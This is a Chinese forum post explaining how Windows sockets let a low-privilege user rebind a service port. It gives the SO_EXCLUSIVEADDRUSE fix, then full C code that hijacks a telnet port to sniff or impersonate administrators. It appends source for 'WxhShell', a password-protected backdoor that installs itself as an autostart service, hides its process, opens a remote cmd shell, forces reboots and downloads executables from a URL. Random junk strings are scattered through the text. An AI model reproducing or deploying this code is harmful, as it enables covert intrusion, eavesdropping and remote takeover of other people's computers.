-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'FM_5`& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lobC G YBupC!R saddr.sin_family = AF_INET; #BW:*$>} Utj4f-M saddr.sin_addr.s_addr = htonl(INADDR_ANY); O`f[9^fN 5 \iX%w@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T9?8@p\}( !BDJU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R*O<( PUEEfq!% 这意味着什么?意味着可以进行如下的攻击: 4Z0Y8y8) wCt!.<, . 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'M35L30 f{j`d&| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]D<3yIGS m](q,65 2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
JN-W`2 ipD/dx. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 a8 .x=j< ~COd(,ul 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >Yx,%a@~R !bBx' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mvu$ y4%[^g~- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,56objaE `Y,<[ Lnr #include 6&KcO:}- #include ^WUG\@B #include e"cvo(}g #include '_l5Br73= DWORD WINAPI ClientThread(LPVOID lpParam); ~=t K17i int main() r*g<A2g% { /DX6Hkkj % WORD wVersionRequested; "b[w%KYyl DWORD ret; RA*W Ys&xb WSADATA wsaData; '8c-V aa BOOL val; Gj&`+!\ SOCKADDR_IN saddr; qS[KB\RN1 SOCKADDR_IN scaddr; fl+2'~ int err; r2=4Wx4( SOCKET s; T:g=P@ SOCKET sc; +jyWqld.K1 int caddsize; jg3T1ROL HANDLE mt; IzlmcP3 DWORD tid; g|<$\} wVersionRequested = MAKEWORD( 2, 2 ); H'?dsc err = WSAStartup( wVersionRequested, &wsaData ); !Q=xIS
if ( err != 0 ) { ^oDSU7j5, printf("error!WSAStartup failed!\n"); 1q/Q@O return -1; )#v0.pE } AEo saddr.sin_family = AF_INET; 2}6StmE } ^q\9HBHT //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K?6#jT6# 8B;HMD saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )|B3TjHC saddr.sin_port = htons(23); kqZ+e/o>O9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "]hQ\b\O { w">-r}HnJ printf("error!socket failed!\n"); l~ZIv return -1; {Z1^/Fv3 } fBnlB_}e val = TRUE; u5A$VRMN //SO_REUSEADDR选项就是可以实现端口重绑定的 S3sxK: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '5}@#Mi { jd+U+8r printf("error!setsockopt failed!\n"); @QAI 0ZY return -1; Pk^W+M_)~ } +&.wc;mi //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C/YjMYwKgv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kmM->v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C n.x:I@r -GT&46hX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sW0<f&3 { VH6J
@m ret=GetLastError(); jbTsrj"g printf("error!bind failed!\n"); tjbI*Pw7( return -1; Bn5$TiTcl } J'@`+veE listen(s,2); a1gaB:w5n while(1) ,XYtoZa { S\ ) ~9? caddsize = sizeof(scaddr); "U*6?]f //接受连接请求 ?btZdnQ))S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #_'|
TT>p# if(sc!=INVALID_SOCKET) e2"gzZ4;g
{ aUbmEHFTV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,_I#+XiXY if(mt==NULL) 1Ts$kdO { 2Z7r ZjXW printf("Thread Creat Failed!\n"); T*qSk! break; BL H~`N3U } |WsB0R } 6HRr4NDcj CloseHandle(mt); ,L$,d } Y(6 p&I closesocket(s); 9_lWB6 WSACleanup(); QN^AihsPi return 0; x?RYt4 S } p>= b|Qy| DWORD WINAPI ClientThread(LPVOID lpParam) X*e<g= { zA*I=3E( SOCKET ss = (SOCKET)lpParam; 3oMhsQz~z SOCKET sc; dr]Pns9 unsigned char buf[4096]; S(Q=2Y SOCKADDR_IN saddr; Qb?eA long num; { !NXu DWORD val; [6f(3|" DWORD ret; {R}Kt;L:Ut //如果是隐藏端口应用的话,可以在此处加一些判断 E@7);i5K //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 x#}{z1op9 saddr.sin_family = AF_INET; g @qrVQv saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h4tAaPcS+ saddr.sin_port = htons(23); LuvRxmQ` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ';3#t(J; { E{xcu9 printf("error!socket failed!\n"); /eY}0q% return -1; :bu]gj4e } ><H*T{
Pg val = 100; U flS` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .?)gn]# { 6 B*,Mu4A ret = GetLastError(); v&Oc,W return -1; maVfLVx- } 3h`_Qv%g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jo4iWJpK { \7] SG ret = GetLastError(); ]B3f$;W return -1; ;P9cjfSn } @=dwvl' W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 89\DS!\x9 { GDY=^r printf("error!socket connect failed!\n");
$M| closesocket(sc); ]h?p3T$h closesocket(ss); N^%7 return -1; u_jhmKr~ } .A
apO}{ while(1) [(m+Ejzi% { :EV*8{:aLU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <CGABlZ //如果是嗅探内容的话,可以再此处进行内容分析和记录 zy'cf5k2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4x"9Wr=} num = recv(ss,buf,4096,0); &sg~owz if(num>0) 9z kRwrQ send(sc,buf,num,0); f]48>LRE8 else if(num==0) Eh&-b6: break; ~zhP[qA}) num = recv(sc,buf,4096,0); 5aJd:36I if(num>0) % 9} ?*U send(ss,buf,num,0); AI#.G7'O else if(num==0) }fh<L CwTi break; q6EZ?bo{ } THY=8&x) closesocket(ss); s5J?,xu closesocket(sc); 2k M;7: return 0 ; 4x|\xg(
l } \^x`GsVy E-Y4TBZ* kV:T2}]|H ========================================================== UZx8ozv' P@FE3g 下边附上一个代码,,WXhSHELL !yD$fY ?g9oiOhnG ========================================================== pB'{_{8aA uUJH^pW #include "stdafx.h" /Suh&qw>
/Jf}~}JP #include <stdio.h> >G}g=zy@ #include <string.h> f f5 e]^, #include <windows.h> CkR
95* #include <winsock2.h> Y+ !z]S/x #include <winsvc.h> i)=
\-C #include <urlmon.h> v@QfxV2 @G^m+- #pragma comment (lib, "Ws2_32.lib") Hv-f :P O #pragma comment (lib, "urlmon.lib") Dbw{E:pq OE=.@Ry" #define MAX_USER 100 // 最大客户端连接数 hw2Sb,bY #define BUF_SOCK 200 // sock buffer T!Nv #define KEY_BUFF 255 // 输入 buffer jJyS^*.X w@x||K= Z #define REBOOT 0 // 重启 v,d'SR. #define SHUTDOWN 1 // 关机 d-`z1'
::sk) #define DEF_PORT 5000 // 监听端口 0SV4p. #Q@~TW #define REG_LEN 16 // 注册表键长度 7mA:~- .u #define SVC_LEN 80 // NT服务名长度 >hO9b;F} /~3kkM(Ty // 从dll定义API Mb=j'H<N@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J~|:Q.Rt` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c\OLf_Uf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LG;U?:\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B{!*OC{l W~j>&PK,? // wxhshell配置信息 e#!p6+#" struct WSCFG { 2?@Ozr2Uh int ws_port; // 监听端口 @t2S"s$m char ws_passstr[REG_LEN]; // 口令 _K3;$2d|R int ws_autoins; // 安装标记, 1=yes 0=no GTke<R char ws_regname[REG_LEN]; // 注册表键名 ou=33}uO char ws_svcname[REG_LEN]; // 服务名 5Kl;(0B9 char ws_svcdisp[SVC_LEN]; // 服务显示名 sB wzb char ws_svcdesc[SVC_LEN]; // 服务描述信息 i-,_:z=J char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yb) a int ws_downexe; // 下载执行标记, 1=yes 0=no [F+*e=wjN> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]JHInt char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }p `A> jIck! }; Q!{,^Qb tHV+#3h // default Wxhshell configuration yOO@v6jO) struct WSCFG wscfg={DEF_PORT, ,"5][RsOn "xuhuanlingzhe", <=]:ED $V@ 1, )yUSuK(Vu "Wxhshell", v9"03=h "Wxhshell", (BGflb "WxhShell Service", SW7AG;c= "Wrsky Windows CmdShell Service", 3;F up4!4} "Please Input Your Password: ", ` >[Offhd 1, $l_\9J913 " http://www.wrsky.com/wxhshell.exe", ZMGC@4^F "Wxhshell.exe" 7{p6&xXx }; ~p
x2kHZ L[tq@[(IJ // 消息定义模块 lX64IvG8+o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `#?]g ! char *msg_ws_prompt="\n\r? for help\n\r#>"; EN5F*s@r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; g\pLQH char *msg_ws_ext="\n\rExit."; }pKKNZ`[ char *msg_ws_end="\n\rQuit."; R%6KxN)+@ char *msg_ws_boot="\n\rReboot..."; IQQ>0^Q~ char *msg_ws_poff="\n\rShutdown..."; ]v#T9QQN char *msg_ws_down="\n\rSave to "; Bo0f`EC I Z@0IvI char *msg_ws_err="\n\rErr!"; ZhFlR*EQ char *msg_ws_ok="\n\rOK!"; 4e?MthJ> Qn}M char ExeFile[MAX_PATH]; UZ!It>
int nUser = 0; f@0Km^a Uc HANDLE handles[MAX_USER]; "EnxVV int OsIsNt; GYtp%<<9; ]QJ7q} SERVICE_STATUS serviceStatus; 84/#,X!=s SERVICE_STATUS_HANDLE hServiceStatusHandle; l:*.0Tj }(!3)k7* // 函数声明 h059 DiH int Install(void); >dnDN3x int Uninstall(void); \lF-]vz* int DownloadFile(char *sURL, SOCKET wsh); Bw>)gSB5$k int Boot(int flag); /L=Y8tDt void HideProc(void); as"@E>a int GetOsVer(void); @b{$s int Wxhshell(SOCKET wsl); C0W-}H void TalkWithClient(void *cs); E.G]T#wt0 int CmdShell(SOCKET sock); d$y?py int StartFromService(void); {?Cm int StartWxhshell(LPSTR lpCmdLine); 4P?@NJp bJ]blnH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HqXS-TG VOID WINAPI NTServiceHandler( DWORD fdwControl ); $V;0z~&!' _Zus4&' // 数据结构和表定义 M=4`^.Ocm SERVICE_TABLE_ENTRY DispatchTable[] = T!-ly7-` { 3*N0oc^m {wscfg.ws_svcname, NTServiceMain}, 3x>Y {NULL, NULL} W8M(@*
T }; Z<#h$XUA JtxitF2 // 自我安装 ucFfxar" int Install(void) ?@ 7Reh\ { DJ`xCs!R char svExeFile[MAX_PATH]; n@J>,K_B HKEY key; c9Q _Qr0' strcpy(svExeFile,ExeFile); .gY=<bG/fA 2:&L|; // 如果是win9x系统,修改注册表设为自启动 V!QC.D< if(!OsIsNt) { d'[q2y?6N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z\>ZgRi~n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o@ @| 4
F RegCloseKey(key);
^M+aQg% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0P;\ :-&p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (?ZS9&y} RegCloseKey(key); Tj6kCB return 0; Se>v|6 } h]&o)%{4 } cXK.^@du } p
MR4]G else { #lF 2qw WTu!/J<\ // 如果是NT以上系统,安装为系统服务 ,;n[_f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lD$\t/8B if (schSCManager!=0) ,,G'Zur7 { D[`~=y( SC_HANDLE schService = CreateService -fOBM 4 (
czH# ~ schSCManager, _z>%h>L|g wscfg.ws_svcname, )\J~KB4 wscfg.ws_svcdisp, T1;>qgp4b SERVICE_ALL_ACCESS, NMESGNa)z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9]:F!d/ SERVICE_AUTO_START, eQ<GNvm SERVICE_ERROR_NORMAL, .M0pb^M svExeFile, bSa]={}L( NULL, dw%g9DT NULL, b{;LbHq+G NULL, $Km~x NULL, 9[h8Dy NULL !{vZvy" ); Pb<6-Jc[ if (schService!=0) on
4
$n7 { 6E9o*YSk CloseServiceHandle(schService); a0's6C CloseServiceHandle(schSCManager); 4)Ew
rU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5>h/LE]" strcat(svExeFile,wscfg.ws_svcname); "8E=*2fcw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =.qPjp_Qd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G$2Pny<! RegCloseKey(key); TWdhl9Ot return 0; A@e!~ } u/%Z0`X } a\KM^jrCD CloseServiceHandle(schSCManager); cCcJOhk|d } zKThM#.Wa } y0'WB`hNQ I(<Trn return 1; ={50>WXE } P>R u [d=BN ,? // 自我卸载 |}@teN^J*U int Uninstall(void) q NUd "%S { VH] <o0 HKEY key; 3?TUt{3g %!R\-Vej if(!OsIsNt) { O~Svk'.) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fC/P W`4Ae RegDeleteValue(key,wscfg.ws_regname); F(w<YU%6 RegCloseKey(key); CKX3t:HP0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +No Ve# RegDeleteValue(key,wscfg.ws_regname); 1*:BOoYx RegCloseKey(key); SVPksr return 0; m?=J;r"Re } P`y.3aK } {x~r$")c? } "ZuA._ else { :wfN+g= 4wx{i6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NKRm# if (schSCManager!=0) Ct$\!|aR { D8`SI21P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2#Qw if (schService!=0) W+Ou%uv}S { TRr%]qd{Hr if(DeleteService(schService)!=0) { e@PY(#ru CloseServiceHandle(schService); u ^M'[<{ CloseServiceHandle(schSCManager); l0E]#ra" return 0; I0G[K~gb } \)W Z D CloseServiceHandle(schService); 4D6LP* } kJ)Z{hy CloseServiceHandle(schSCManager); Ob]J!. } CDT;AdRw7 } #<es>~0! me90|GOx+ return 1; oVd7ucnK } iKv"200h( azG"Mt|7Z // 从指定url下载文件 b]*OGp4]5 int DownloadFile(char *sURL, SOCKET wsh) }\1IsK~P { &td HRESULT hr; N w/it*f char seps[]= "/"; -}RGz_LO/ char *token; "om[S :ai char *file; 8&CQx* char myURL[MAX_PATH]; xEufbFAN? char myFILE[MAX_PATH]; $Qxy@vU HTSk40V strcpy(myURL,sURL); m@YK8c#$ token=strtok(myURL,seps); !PgwFJ while(token!=NULL) hJ75(I
*j { 5+t$4N+P file=token; %0'7J@W token=strtok(NULL,seps); {D8yqO A} } Ged} qXn #Fkp6`Q$x GetCurrentDirectory(MAX_PATH,myFILE); <&tdyAT?& strcat(myFILE, "\\"); E0.o/3Gw6 strcat(myFILE, file); - *qoF(/U send(wsh,myFILE,strlen(myFILE),0); 9}+X#ma.Nc send(wsh,"...",3,0); F:A Vik hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z Ece>=C if(hr==S_OK) T&j:gg return 0; ~VV $wU!A else HrUE?Sq return 1; BadnL<cj] BN6cu9a } EtQ:x$S_ L0Ajj= // 系统电源模块 3Te&w9K int Boot(int flag) 1!
5VWF0 { #VsS C1 HANDLE hToken; JD9=gBN\? TOKEN_PRIVILEGES tkp; N;4wbUPL7h @S 0mNA if(OsIsNt) { CtZOIx.;| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \5j#ad LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #$l:% tkp.PrivilegeCount = 1; >` u8( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0qW"b`9R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,o}CBB! k if(flag==REBOOT) { 8[#EC 3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U[z2{\ return 0; f<y3/jl4 } a3,A_M}M' else { Hk$do`H-=Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j.c{%UYj return 0; x+v&3YF } [kMWsiZ } 3E}j*lo else { 1v*N]}`HU if(flag==REBOOT) { |o@U
L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #k,.xMJ~ return 0; 0n\AUgVPF } WP'.o else { "`h.8=- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) COj^pdE3 return 0; >O0<u } ,[3}t%Da } fP 3t0cp PJ,G_+b! return 1; kIRjoKf <F } f`8?]@y{ B;nIKZ // win9x进程隐藏模块 B7sBO6Z$J void HideProc(void) -fN5-AC { L1&` 3a?pL (0Jr<16si$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pfd%[C/vdm if ( hKernel != NULL ) fS p { 2>f3nW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W*/2x8$d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gLlA'`! FreeLibrary(hKernel); n6 wx/: } <RcB: h -h=wLYl@0i return; '@5x=> } 9t8ccr t0Inf
[um // 获取操作系统版本 EJNHZ< int GetOsVer(void) O{Q+<fBC9 { r4fd@<=g OSVERSIONINFO winfo; g[;&_gL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;u<F,o( GetVersionEx(&winfo); Swgvj(y;!A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4L r,}tA return 1; X^i3(N else vzF6e eaD return 0; Q |hBGH9:B } 5@n|uJA :*-O;Yw?S@ // 客户端句柄模块 !uA'0U?ky int Wxhshell(SOCKET wsl) c?6(mU\x { .(s@{= SOCKET wsh; i_nUyH%b struct sockaddr_in client; `%~f5< DWORD myID; dP"cm0 mq4VwT while(nUser<MAX_USER) Wxgs66 { W#kLM\2L int nSize=sizeof(client); 8E>2
6@. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s !II}'Je if(wsh==INVALID_SOCKET) return 1; s"~,Zzy@j 4C3i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v7v> if(handles[nUser]==0) q?8#D closesocket(wsh); [q^pMH#U" else !e~d,NIy nUser++; aHPx'R } T0 cm+|S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sosIu BWr!K5w>i return 0; ^c"\%!w"O } Psm9hP :m |T-Ytuy8 // 关闭 socket }S%}%1pG7 void CloseIt(SOCKET wsh) ES#q/yab5 { r MJ4w['J= closesocket(wsh); ;a[3RqmKW nUser--; (~(FQ:L%U ExitThread(0); a;(,$q3M } ^}kYJvqA
-:wV3D // 客户端请求句柄 Vkqfs4 t void TalkWithClient(void *cs) \2Kl]G(w%y { z;>O5a>z xX~m Fz0C SOCKET wsh=(SOCKET)cs; 5oOs.(m|*C char pwd[SVC_LEN]; tq*{Hil>P` char cmd[KEY_BUFF]; ;cb='s char chr[1]; [?da BXS int i,j; :ra[e(l9 `g{eWY1l while (nUser < MAX_USER) { y }h2 YL[y3&K if(wscfg.ws_passstr) { <4^y7]]F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u%Z4 8wr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e)i-$0L" //ZeroMemory(pwd,KEY_BUFF); K%SfTA1TCB i=0; D:(h^R0; while(i<SVC_LEN) { @s\}ER3 =4Jg6JKYg // 设置超时 2O2d*Ld> fd_set FdRead; rNgAzH struct timeval TimeOut; ~\zIb/ # FD_ZERO(&FdRead); _b
&Aa% FD_SET(wsh,&FdRead); ON"V`_dq+M TimeOut.tv_sec=8; NNRKYdp, TimeOut.tv_usec=0; .o8pC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sEx\7t K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9y)}-TcSpY L)Da1<O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8
;=?Lw? pwd =chr[0]; ">nFzg?Y if(chr[0]==0xd || chr[0]==0xa) { 0JhUncx pwd=0; If|i `,Iy break; 3W3d $ } H$&P=\8n i++; By<~h/uJ } ]O~/k~f ^.Q/iXgh // 如果是非法用户,关闭 socket ?!bWUVC)_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M|>-q } p\xsW"=8q aIN?|Ch send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /ZSdY_%s send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u#Uc6? E WW~QK2o-@ while(1) { > 'JWW*Y! k59.O~0V ZeroMemory(cmd,KEY_BUFF); >k
u7{1) IZ]L.0, // 自动支持客户端 telnet标准 $U%N$_k? j=0;
.r@'9W^8 while(j<KEY_BUFF) { fXkemB^)_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GU)NZ[e cmd[j]=chr[0]; b*< *,Ds/G if(chr[0]==0xa || chr[0]==0xd) { 5}_,rF?cX cmd[j]=0; PmDar<m break; |>nVp:t^ } ,q
Bu5t j++; uL@'Hv A } $7\hszjZ iLFhm4.PO // 下载文件 xCm`g{ if(strstr(cmd,"http://")) { AdRt\H < send(wsh,msg_ws_down,strlen(msg_ws_down),0); |CjdmQ u if(DownloadFile(cmd,wsh)) 3.
g-V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<i:rk| else VHU,G+ms send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JZcW? Or } r$Y% 15JV else { Umk ! m] q B 6,X) switch(cmd[0]) { Q__1QUu i)d'l<RA // 帮助 R<1[hH9"o case '?': { fOO[`"'Pq send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'gz@UE1 break; %MN>b[z
} fehM{)x2: // 安装 2 lBu"R 6} case 'i': { rjT!S1Hs if(Install()) 4_?*@L1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); zMN4cBL9m else skfFj&_T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )TgjaR9G break; ZlYb8+rW } 3)qtz_,H/g // 卸载 <}Rr C#uiA case 'r': { ^VB_>|UN4 if(Uninstall()) -"3<Ll send(wsh,msg_ws_err,strlen(msg_ws_err),0); N/mC,7Q else A*hc
w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `]g}M, break; 2<5s0GT'/ } NU|T`gP // 显示 wxhshell 所在路径 YQ<O.E case 'p': { ]]bL;vlw char svExeFile[MAX_PATH]; 1rhQ{6 strcpy(svExeFile,"\n\r"); ;-T%sRI:| strcat(svExeFile,ExeFile); D|!^8jHj send(wsh,svExeFile,strlen(svExeFile),0); zLLe3?8: break; _ ;_NM5 } E&RK My) // 重启 B1a&'WX? case 'b': { 68jq1Y
Pv send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {\f`s^;8{ if(Boot(REBOOT)) 4*9: send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1PJ8O|Zt8 else { d/:zO4v3 closesocket(wsh); Wtwh.\Jba ExitThread(0); ws$!-t4<( } t6O/Q0_ break; AW:WDNQh8n } }x1p~N+; // 关机 "5R8Zl+ case 'd': { %8yX6`lH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P$i?%P~ if(Boot(SHUTDOWN)) G@igxnm} send(wsh,msg_ws_err,strlen(msg_ws_err),0); n~k9Z^ $ else { gb_k^wg~1' closesocket(wsh); j:{d'OV ExitThread(0); 3?GEXO&,E } YWPAc>uw, break; |>P`Gl]E } NI136P // 获取shell hE>i~:~R case 's': { S_B;m1 CmdShell(wsh); <ib#PLRM closesocket(wsh); kycZ ExitThread(0); f^f{tOX break; n.$wW
= }
T!N,1"r // 退出 nAJ<@a case 'x': { <w d+cPZQr send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kiFTx
&gf CloseIt(wsh); sX,oJIt break; QeVM9br)m } T6ajWUw // 离开 v='h case 'q': { 4#m"t?6! send(wsh,msg_ws_end,strlen(msg_ws_end),0); vxzOG?Xc: closesocket(wsh); \^+=vO;A WSACleanup(); )5U&^tJ exit(1); T=w5FT break; =@>[ } XZe ZqBr } Td5;bg6Qy } VL/%D* fK|F`F2V // 提示信息 c91rc> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5M2G ;o } K?q1I<94 } S5Q$dAL {uRnZ/m return; YRYAQj/7 } Y&k6Xhuao \$Nx`daFi // shell模块句柄 iS^IqS int CmdShell(SOCKET sock) /CAi%UH,F { S&@uY#_(*T STARTUPINFO si; 1dF=BR8 ZeroMemory(&si,sizeof(si)); KN;b+`x;M si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hYW<4{Gjr si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DM%4V|F" PROCESS_INFORMATION ProcessInfo; (!U5B
Hnd char cmdline[]="cmd"; i#
1:DiF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +_HPZo return 0; }Zwse%; } HUtuU X $gN1&K // 自身启动模式 >g@;`l.Z# int StartFromService(void) \*s'S*~ { H|H!VPof] typedef struct Yq.Cz:>b { 8#w}wGV* DWORD ExitStatus; yD+)!q" DWORD PebBaseAddress; [e+"G <> DWORD AffinityMask; ?+S& `%? DWORD BasePriority; E+AEV`- ULONG UniqueProcessId; >uuP@j ULONG InheritedFromUniqueProcessId; N6Fj}m&E } PROCESS_BASIC_INFORMATION; z&o"K\y\ 5Y
